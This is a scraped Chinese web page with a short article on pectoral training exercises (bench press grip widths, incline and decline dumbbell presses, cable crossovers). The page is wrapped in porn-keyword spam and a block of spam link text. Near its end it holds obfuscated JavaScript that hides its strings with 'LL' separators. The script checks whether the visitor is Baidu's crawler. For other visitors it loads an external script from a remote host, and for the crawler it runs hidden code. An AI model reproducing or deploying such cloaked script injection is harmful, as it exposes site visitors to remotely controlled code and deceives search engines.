久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

胸大肌的鍛煉方法是什么

2017-04-16 14:00:14  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:擁有完美結(jié)實(shí)的胸肌應(yīng)該是每一位喜歡健身的男性同胞們的夢(mèng)想。即便是在健身房里訓(xùn)練的時(shí)候,也能看見很多男性都在著重的鍛煉著自己的胸肌,

擁有完美結(jié)實(shí)的胸肌應(yīng)該是每一位喜歡健身的男性同胞們的夢(mèng)想。即便是在健身房里訓(xùn)練的時(shí)候,也能看見很多男性都在著重的鍛煉著自己的胸肌,可見結(jié)實(shí)的胸肌對(duì)于男性朋友們來說也是相當(dāng)重要的。今天就為大家介紹幾種關(guān)于胸大肌的鍛煉方法,喜歡健身的朋友們一起來研究一下吧!

杠鈴平板臥推:

打造整個(gè)胸部圍度。不同的握距刺激的重點(diǎn)也不同。比肩略窄鍛煉中部胸大肌,與肩同寬鍛煉整個(gè)胸肌,比肩稍寬鍛煉胸肌外側(cè),再寬的話就是側(cè)重鍛煉三角肌后束。

雙腳的位置:

兩腿分開成45度角,平放在地上,可以有力支撐。要把腳踩到板凳上,這樣穩(wěn)定性會(huì)比較差,需要分擔(dān)一部分力量控制核心肌群的穩(wěn)定,這樣就不能發(fā)揮最大的力量鍛煉胸肌。

要點(diǎn):不要把臀部和腰抬離凳子。

上斜啞鈴?fù)婆e:

鍛煉上部胸大肌。啞鈴比杠鈴好處就是沒有橫杠限制,可以充分拉伸胸大肌,注意不要下放的太低,以免拉傷胸肌。這個(gè)練習(xí)放在前面做,因?yàn)樽杂芍亓啃枰ê艽缶ΑP卑宓慕嵌瓤刂圃?0-45度之間,角度太大對(duì)三角肌前束的壓力也越大,會(huì)影響到胸肌的發(fā)力。

下斜啞鈴臥推:

鍛煉下部胸大肌。主意啞鈴或杠鈴下放到最下面的肋骨兩側(cè),不要放到胸大肌中間部位,以免給肩關(guān)節(jié)造成壓力。

拉力器十字夾胸:

鍛煉下部胸大肌,中部胸肌。這個(gè)動(dòng)作充血效果很明顯,用輕重量多次數(shù),保持雙肘微彎,低頭含胸,動(dòng)作頂點(diǎn)努力擠壓胸肌。

通過上面介紹的內(nèi)容,相信很多男性朋友們對(duì)于胸大肌的鍛煉方法都已經(jīng)有了一個(gè)更好的了解,希望這些方法能夠給有需要的朋友們起到一定的參考作用。如果您正好也在為鍛煉胸大肌而煩惱,不妨按照上面介紹的方法試一試,只是需要長(zhǎng)期堅(jiān)持才能看到效果哦!

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产美女精品人人做人人爽 | 亚洲视频免费 | 亚洲一区中文字幕永久在线 | 欧美日韩视频一区二区三区 | 精品福利在线 | 91婷婷射| 成人五月网 | 欧美日韩免费看 | 女人毛片a毛片久久人人 | 国产精品久久久久久亚洲调教 | 久久品| 九色一区二区 | 天天精品在线 | 色九九| 97色涩 | 婷婷精品久久久久久久久久不卡 | 日本在线黄色 | 国产精品美乳一区二区免费 | 欧美精品二区 | 在线观看免费av的网址 | 中文字幕av免费 | 久草网站| 午夜影院在线免费观看 | 久久久免费精品视频 | 美女三区 | 日本一级在线观看 | 日韩成人精品在线观看 | 欧美日韩精品在线 | 日韩另类在线 | 亚洲成人一区二区三区 | 欧美高清不卡 | 欧美一级特 | 男女做爰高清无遮挡免费视频 | 亚洲精品久久久久久久久久久 | 欧美精品在线观看 | 久久久久久免费视频 | 日韩美女中文字幕 | 色综合久久天天综合网 | 国产 日韩 欧美 在线 | 成人激情视频在线免费观看 | 久久久.com |